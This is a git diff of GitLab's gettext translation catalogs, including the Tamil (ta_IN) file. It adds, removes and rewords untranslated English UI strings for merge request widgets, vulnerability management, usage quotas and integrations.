msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ta_IN/gitlab.po b/locale/ta_IN/gitlab.po
index 0413763bcef..d6d77fd0152 100644
--- a/locale/ta_IN/gitlab.po
+++ b/locale/ta_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ta\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
